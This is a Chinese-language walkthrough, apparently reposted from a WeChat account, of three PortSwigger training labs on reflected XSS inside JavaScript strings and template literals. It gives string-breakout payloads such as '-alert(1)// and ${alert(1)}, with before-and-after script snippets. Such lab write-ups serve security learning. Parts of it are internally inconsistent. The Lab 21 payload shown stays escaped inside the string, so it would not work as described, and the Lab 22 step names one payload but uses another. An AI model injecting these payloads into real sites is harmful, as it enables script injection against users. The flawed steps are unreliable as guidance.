本文知识点:
(Lab 21)将 XSS 反射到带有尖括号和双引号的 JavaScript 字符串中 HTML 编码和单引号转义(javascript闭合,这里转义了')
(Lab 9)将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中,javascript闭合(javascript闭合,未转义)
(Lab 22)将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号 Unicode 转义的模板文字中(利用模板字符构造payload)
靶场地址:https://portswigger.net/web-security
实验21:将XSS反射到JavaScript字符串中,并使用单引号和反斜杠进行转义
1.输入111111111,发现payload在js代码searchTerms变量中
2.构造payload进行闭合 '-alert(1)//,即可弹窗(-为连接符)
<script>
var searchTerms = '111111111';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
=>
<script>
var searchTerms = '\'-alert(1)//';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
实验9:将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中
1.输入111111111,发现payload在js代码searchTerms变量中
2.构造payload进行闭合 '-alert(1)-',即可弹窗(-为连接符)
<script>
var searchTerms = '111111111';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
=>
<script>
var searchTerms = ''-alert(1)-'';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
实验22:将 XSS 反射到带有尖括号、单引号、双引号、反斜杠和反引号 Unicode 转义的模板文字中
1.输入11111'1111,发现payload在js代码searchTerms变量中,且对大部分特殊符号做了Unicode编码
2.利用模板字符构造payload进行闭合 '-alert(1)-',即可弹窗(模板字符串中的 `${alert(1)}` 部分看起来像是一个插值,但实际上它包含了一个 `alert(1)` 的 JavaScript 代码片段。这意味着如果页面加载时执行这段代码,它将触发一个 JavaScript 警告框显示数字 1。)
<script>
var message = `0 search results for '11111u002711111'`;
document.getElementById('searchMessage').innerText = message;
</script>
=>
<script>
var message = `0 search results for '${alert(1)}'`;
document.getElementById('searchMessage').innerText = message;
</script>
原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab21、9、22
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论